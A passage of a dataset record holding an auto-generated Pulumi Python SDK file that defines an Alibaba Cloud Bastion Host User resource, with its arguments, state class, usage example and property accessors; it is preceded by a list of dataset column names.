hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
9e6b3bf5326a2202d9ef4a4344d5b3e56287eaaf
38,683
py
Python
sdk/python/pulumi_alicloud/bastionhost/user.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
42
2019-03-18T06:34:37.000Z
2022-03-24T07:08:57.000Z
sdk/python/pulumi_alicloud/bastionhost/user.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
152
2019-04-15T21:03:44.000Z
2022-03-29T18:00:57.000Z
sdk/python/pulumi_alicloud/bastionhost/user.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-26T17:30:07.000Z
2021-07-05T01:37:45.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['UserArgs', 'User'] @pulumi.input_type class UserArgs: def __init__(__self__, *, instance_id: pulumi.Input[str], source: pulumi.Input[str], user_name: pulumi.Input[str], comment: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, email: Optional[pulumi.Input[str]] = None, mobile: Optional[pulumi.Input[str]] = None, mobile_country_code: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, source_user_id: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a User resource. :param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of. :param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User :param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. :param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. :param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters. :param pulumi.Input[str] email: Specify the New User's Mailbox. :param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your. :param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) :param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. :param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. :param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`. """ pulumi.set(__self__, "instance_id", instance_id) pulumi.set(__self__, "source", source) pulumi.set(__self__, "user_name", user_name) if comment is not None: pulumi.set(__self__, "comment", comment) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if email is not None: pulumi.set(__self__, "email", email) if mobile is not None: pulumi.set(__self__, "mobile", mobile) if mobile_country_code is not None: pulumi.set(__self__, "mobile_country_code", mobile_country_code) if password is not None: pulumi.set(__self__, "password", password) if source_user_id is not None: pulumi.set(__self__, "source_user_id", source_user_id) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Input[str]: """ You Want to Query the User the Bastion Host ID of. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: pulumi.Input[str]): pulumi.set(self, "instance_id", value) @property @pulumi.getter def source(self) -> pulumi.Input[str]: """ Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User """ return pulumi.get(self, "source") @source.setter def source(self, value: pulumi.Input[str]): pulumi.set(self, "source", value) @property @pulumi.getter(name="userName") def user_name(self) -> pulumi.Input[str]: """ Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: pulumi.Input[str]): pulumi.set(self, "user_name", value) @property @pulumi.getter def comment(self) -> Optional[pulumi.Input[str]]: """ Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. """ return pulumi.get(self, "comment") @comment.setter def comment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "comment", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ Specify the New Created the User's Display Name. Supports up to 128 Characters. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter def email(self) -> Optional[pulumi.Input[str]]: """ Specify the New User's Mailbox. """ return pulumi.get(self, "email") @email.setter def email(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "email", value) @property @pulumi.getter def mobile(self) -> Optional[pulumi.Input[str]]: """ Specify the New of the User That Created a Different Mobile Phone Number from Your. """ return pulumi.get(self, "mobile") @mobile.setter def mobile(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mobile", value) @property @pulumi.getter(name="mobileCountryCode") def mobile_country_code(self) -> Optional[pulumi.Input[str]]: """ Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) """ return pulumi.get(self, "mobile_country_code") @mobile_country_code.setter def mobile_country_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mobile_country_code", value) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter(name="sourceUserId") def source_user_id(self) -> Optional[pulumi.Input[str]]: """ Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. """ return pulumi.get(self, "source_user_id") @source_user_id.setter def source_user_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_user_id", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ The status of the resource. Valid values: `Frozen`, `Normal`. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @pulumi.input_type class _UserState: def __init__(__self__, *, comment: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, email: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, mobile: Optional[pulumi.Input[str]] = None, mobile_country_code: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[str]] = None, source_user_id: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_id: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering User resources. :param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. :param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters. :param pulumi.Input[str] email: Specify the New User's Mailbox. :param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of. :param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your. :param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) :param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. :param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User :param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. :param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`. :param pulumi.Input[str] user_id: The User ID. :param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ if comment is not None: pulumi.set(__self__, "comment", comment) if display_name is not None: pulumi.set(__self__, "display_name", display_name) if email is not None: pulumi.set(__self__, "email", email) if instance_id is not None: pulumi.set(__self__, "instance_id", instance_id) if mobile is not None: pulumi.set(__self__, "mobile", mobile) if mobile_country_code is not None: pulumi.set(__self__, "mobile_country_code", mobile_country_code) if password is not None: pulumi.set(__self__, "password", password) if source is not None: pulumi.set(__self__, "source", source) if source_user_id is not None: pulumi.set(__self__, "source_user_id", source_user_id) if status is not None: pulumi.set(__self__, "status", status) if user_id is not None: pulumi.set(__self__, "user_id", user_id) if user_name is not None: pulumi.set(__self__, "user_name", user_name) @property @pulumi.getter def comment(self) -> Optional[pulumi.Input[str]]: """ Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. """ return pulumi.get(self, "comment") @comment.setter def comment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "comment", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ Specify the New Created the User's Display Name. Supports up to 128 Characters. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @property @pulumi.getter def email(self) -> Optional[pulumi.Input[str]]: """ Specify the New User's Mailbox. """ return pulumi.get(self, "email") @email.setter def email(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "email", value) @property @pulumi.getter(name="instanceId") def instance_id(self) -> Optional[pulumi.Input[str]]: """ You Want to Query the User the Bastion Host ID of. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_id", value) @property @pulumi.getter def mobile(self) -> Optional[pulumi.Input[str]]: """ Specify the New of the User That Created a Different Mobile Phone Number from Your. """ return pulumi.get(self, "mobile") @mobile.setter def mobile(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mobile", value) @property @pulumi.getter(name="mobileCountryCode") def mobile_country_code(self) -> Optional[pulumi.Input[str]]: """ Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) """ return pulumi.get(self, "mobile_country_code") @mobile_country_code.setter def mobile_country_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mobile_country_code", value) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input[str]]: """ Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source", value) @property @pulumi.getter(name="sourceUserId") def source_user_id(self) -> Optional[pulumi.Input[str]]: """ Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. """ return pulumi.get(self, "source_user_id") @source_user_id.setter def source_user_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_user_id", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ The status of the resource. Valid values: `Frozen`, `Normal`. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter(name="userId") def user_id(self) -> Optional[pulumi.Input[str]]: """ The User ID. """ return pulumi.get(self, "user_id") @user_id.setter def user_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_id", value) @property @pulumi.getter(name="userName") def user_name(self) -> Optional[pulumi.Input[str]]: """ Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_name", value) class User(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, comment: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, email: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, mobile: Optional[pulumi.Input[str]] = None, mobile_country_code: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[str]] = None, source_user_id: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None, __props__=None): """ Provides a Bastion Host User resource. For information about Bastion Host User and how to use it, see [What is User](https://www.alibabacloud.com/help/doc-detail/204503.htm). > **NOTE:** Available in v1.133.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud local = alicloud.bastionhost.User("local", instance_id="example_value", mobile="13312345678", mobile_country_code="CN", password="YourPassword-123", source="Local", user_name="my-local-user") ram = alicloud.bastionhost.User("ram", instance_id="example_value", mobile="13312345678", mobile_country_code="CN", password="YourPassword-123", source="Ram", source_user_id="1234567890", user_name="my-ram-user") ``` ## Import Bastion Host User can be imported using the id, e.g. ```sh $ pulumi import alicloud:bastionhost/user:User example <instance_id>:<user_id> ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. :param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters. :param pulumi.Input[str] email: Specify the New User's Mailbox. :param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of. :param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your. :param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) :param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. :param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User :param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. :param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`. :param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ ... @overload def __init__(__self__, resource_name: str, args: UserArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a Bastion Host User resource. For information about Bastion Host User and how to use it, see [What is User](https://www.alibabacloud.com/help/doc-detail/204503.htm). > **NOTE:** Available in v1.133.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud local = alicloud.bastionhost.User("local", instance_id="example_value", mobile="13312345678", mobile_country_code="CN", password="YourPassword-123", source="Local", user_name="my-local-user") ram = alicloud.bastionhost.User("ram", instance_id="example_value", mobile="13312345678", mobile_country_code="CN", password="YourPassword-123", source="Ram", source_user_id="1234567890", user_name="my-ram-user") ``` ## Import Bastion Host User can be imported using the id, e.g. ```sh $ pulumi import alicloud:bastionhost/user:User example <instance_id>:<user_id> ``` :param str resource_name: The name of the resource. :param UserArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(UserArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, comment: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, email: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, mobile: Optional[pulumi.Input[str]] = None, mobile_country_code: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[str]] = None, source_user_id: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = UserArgs.__new__(UserArgs) __props__.__dict__["comment"] = comment __props__.__dict__["display_name"] = display_name __props__.__dict__["email"] = email if instance_id is None and not opts.urn: raise TypeError("Missing required property 'instance_id'") __props__.__dict__["instance_id"] = instance_id __props__.__dict__["mobile"] = mobile __props__.__dict__["mobile_country_code"] = mobile_country_code __props__.__dict__["password"] = password if source is None and not opts.urn: raise TypeError("Missing required property 'source'") __props__.__dict__["source"] = source __props__.__dict__["source_user_id"] = source_user_id __props__.__dict__["status"] = status if user_name is None and not opts.urn: raise TypeError("Missing required property 'user_name'") __props__.__dict__["user_name"] = user_name __props__.__dict__["user_id"] = None super(User, __self__).__init__( 'alicloud:bastionhost/user:User', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, comment: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, email: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, mobile: Optional[pulumi.Input[str]] = None, mobile_country_code: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[str]] = None, source_user_id: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_id: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None) -> 'User': """ Get an existing User resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. :param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters. :param pulumi.Input[str] email: Specify the New User's Mailbox. :param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of. :param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your. :param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) :param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. :param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User :param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. :param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`. :param pulumi.Input[str] user_id: The User ID. :param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _UserState.__new__(_UserState) __props__.__dict__["comment"] = comment __props__.__dict__["display_name"] = display_name __props__.__dict__["email"] = email __props__.__dict__["instance_id"] = instance_id __props__.__dict__["mobile"] = mobile __props__.__dict__["mobile_country_code"] = mobile_country_code __props__.__dict__["password"] = password __props__.__dict__["source"] = source __props__.__dict__["source_user_id"] = source_user_id __props__.__dict__["status"] = status __props__.__dict__["user_id"] = user_id __props__.__dict__["user_name"] = user_name return User(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def comment(self) -> pulumi.Output[Optional[str]]: """ Specify the New of the User That Created the Remark Information. Supports up to 500 Characters. """ return pulumi.get(self, "comment") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ Specify the New Created the User's Display Name. Supports up to 128 Characters. """ return pulumi.get(self, "display_name") @property @pulumi.getter def email(self) -> pulumi.Output[Optional[str]]: """ Specify the New User's Mailbox. """ return pulumi.get(self, "email") @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Output[str]: """ You Want to Query the User the Bastion Host ID of. """ return pulumi.get(self, "instance_id") @property @pulumi.getter def mobile(self) -> pulumi.Output[Optional[str]]: """ Specify the New of the User That Created a Different Mobile Phone Number from Your. """ return pulumi.get(self, "mobile") @property @pulumi.getter(name="mobileCountryCode") def mobile_country_code(self) -> pulumi.Output[str]: """ Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values: * CN: Mainland China (+86) * HK: hong Kong, China (+852) * MO: Macau, China (+853) * TW: Taiwan, China (+886) * RU: Russian (+7) * SG: Singapore (+65) * MY: malaysia (+60) * ID: Indonesia (+62) * DE: Germany (+49) * AU: Australia (+61) * US: United States (+1) * AE: dubai (+971) * JP: Japan (+81) Introducing the Long-Range * GB: United Kingdom (+44) * IN: India (+91) * KR: South Korea (+82) * PH: philippines (+63) * CH: Switzerland (+41) * SE: Sweden (+46) """ return pulumi.get(self, 